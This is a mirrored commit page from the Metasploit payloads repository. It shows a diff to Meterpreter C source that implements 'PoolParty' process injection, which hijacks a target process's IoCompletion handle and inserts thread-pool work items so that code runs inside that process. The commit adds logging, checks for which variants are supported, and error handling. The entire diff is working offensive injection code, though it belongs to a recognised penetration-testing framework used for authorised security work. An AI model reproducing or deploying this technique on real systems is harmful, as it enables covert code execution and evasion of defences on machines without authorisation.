1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

feat(injection): improving logging and error handling

This commit is contained in:
dledda-r7 2024-08-09 07:09:13 -04:00
parent 9e9bb677fa
commit 2af3fe5c67
No known key found for this signature in database
GPG Key ID: 4D4EC504A1F02FFF
2 changed files with 62 additions and 43 deletions
c/meterpreter/source/metsrv

@ -3,6 +3,7 @@
#include "pool_party_ext.h"
pNtDll *ntdll = NULL;
BOOL bSupportedTechnique[POOLPARTY_TECHNIQUE_COUNT] = { 0 };
pNtDll* GetOrInitNtDll() {
BOOL bError = FALSE;
@ -19,17 +20,24 @@ pNtDll* GetOrInitNtDll() {
if (!bError) {
HMODULE hNtDll = LoadLibraryA("ntdll.dll");
// Hijack Handles
// Hijack Handles, we always have this ( hopefully :/ )
ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess");
ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject");
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject);
// Remote TP Wait Insertion: WIN11, WIN10(?)
ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket");
if (ntdll->pZwAssociateWaitCompletionPacket != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION] = TRUE;
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket);
// Remote TP Wait Insertion
ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket"); // WIN 11, WIN 10(?)
// Remote TP Direct Insertion: WIN11 WIN10(?) WIN7
ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion");
if (ntdll->pZwSetIoCompletion != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION] = TRUE;
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: %p", ntdll->pZwSetIoCompletion);
// Remote TP Direct Insertion
ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion"); // WIN7
//ntdll->pZwSetInformationFile = (NTSTATUS(NTAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG))GetProcAddress(hNtDll, "ZwSetInformationFile"); // WIN7
//ntdll->pNtAlpcCreatePort = (NTSTATUS(NTAPI*)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES))GetProcAddress(hNtDll, "NtAlpcCreatePort"); // WIN7
//ntdll->pNtAlpcSetInformation = (NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG))GetProcAddress(hNtDll, "NtAlpcSetInformation"); // WIN7
@ -42,57 +50,60 @@ pNtDll* GetOrInitNtDll() {
//ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7
}
}
// Ensure every function is resolved.
if (!bError && ntdll != NULL) {
DWORD dwNumOfFunction = sizeof(pNtDll) / sizeof(PVOID);
PVOID* p_ntdll = (PVOID*)ntdll;
for (DWORD i = 0; i < dwNumOfFunction; i++) {
if (p_ntdll[i] == NULL) {
bError = TRUE;
break;
}
}
if (bError) {
HeapFree(hHeap, MEM_RELEASE, ntdll);
ntdll = NULL;
}
}
return ntdll;
}
HANDLE GetIoCompletionHandle(HANDLE hProcess) {
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeIn = 2048;
ULONG dwInformationSizeOut = 0;
HANDLE hCurrProcess = GetCurrentProcess();
HANDLE hHeap = GetProcessHeap();
PPROCESS_HANDLE_SNAPSHOT_INFORMATION lpProcessInfo = NULL;
PPUBLIC_OBJECT_TYPE_INFORMATION lpObjectInfo = NULL;
pNtDll* ntDll = GetOrInitNtDll();
DWORD ntStatus = 0;
lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
while (ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut) == 0xC0000004L) {
if (dwInformationSizeIn != dwInformationSizeOut) {
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p", lpProcessInfo);
while (TRUE) {
ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] NtQueryInformationProcess() : %p", ntStatus);
if (ntStatus == 0xC0000004L && dwInformationSizeIn != dwInformationSizeOut) {
lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] HeapReAlloc lpProcessInfo: %p", lpProcessInfo);
dwInformationSizeIn = dwInformationSizeOut;
continue;
}
if (ntStatus != 0 && ntStatus != 0xC0000004L) {
HeapFree(hHeap, 0, lpProcessInfo);
return INVALID_HANDLE_VALUE;
}
if (ntStatus == 0) {
break;
}
}
dwInformationSizeIn = 1024;
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn);
dwInformationSizeIn = 2048;
dwInformationSizeOut = 0;
lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpObjectInfo: %p", lpObjectInfo);
for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) {
DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0);
ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut);
if (dwInformationSizeIn > dwInformationSizeOut) {
if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) {
break;
if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0)) {
ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut);
if (dwInformationSizeIn > dwInformationSizeOut) {
if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) {
break;
}
}
CloseHandle(hHijackHandle);
}
hHijackHandle = INVALID_HANDLE_VALUE;
}
HeapFree(hHeap, 0, lpObjectInfo);
HeapFree(hHeap, 0, lpProcessInfo);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] hHijackHandle: %p", hHijackHandle);
return hHijackHandle;
}
@ -102,7 +113,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeOut = 0;
pNtDll* ntDll = NULL;
DWORD dwResult = 1;
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap();
do {
@ -110,7 +121,9 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetIoCompletionHandle(hProcess);
if (hHijackHandle == INVALID_HANDLE_VALUE) {
@ -125,9 +138,8 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
dwResult = 0;
}
dwResult = 0;
} while (0);
return dwResult;
}
@ -138,7 +150,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeOut = 0;
pNtDll* ntDll = NULL;
DWORD dwResult = 1;
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap();
TP_DIRECT Direct = { 0 };
do {
@ -146,7 +158,9 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetIoCompletionHandle(hProcess);
if (hHijackHandle == INVALID_HANDLE_VALUE) {
@ -156,11 +170,15 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
if (hHijackHandle != INVALID_HANDLE_VALUE) {
Direct.Callback = lpStartAddress;
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL);
if (!RemoteDirectAddress) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED)
}
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
}
ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
dwResult = 0;
}
dwResult = 0;
} while (0);
return dwResult;
}

@ -5,6 +5,7 @@
#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 0
#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 1
#define POOLPARTY_TECHNIQUE_COUNT 2
DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerEvent);
DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger);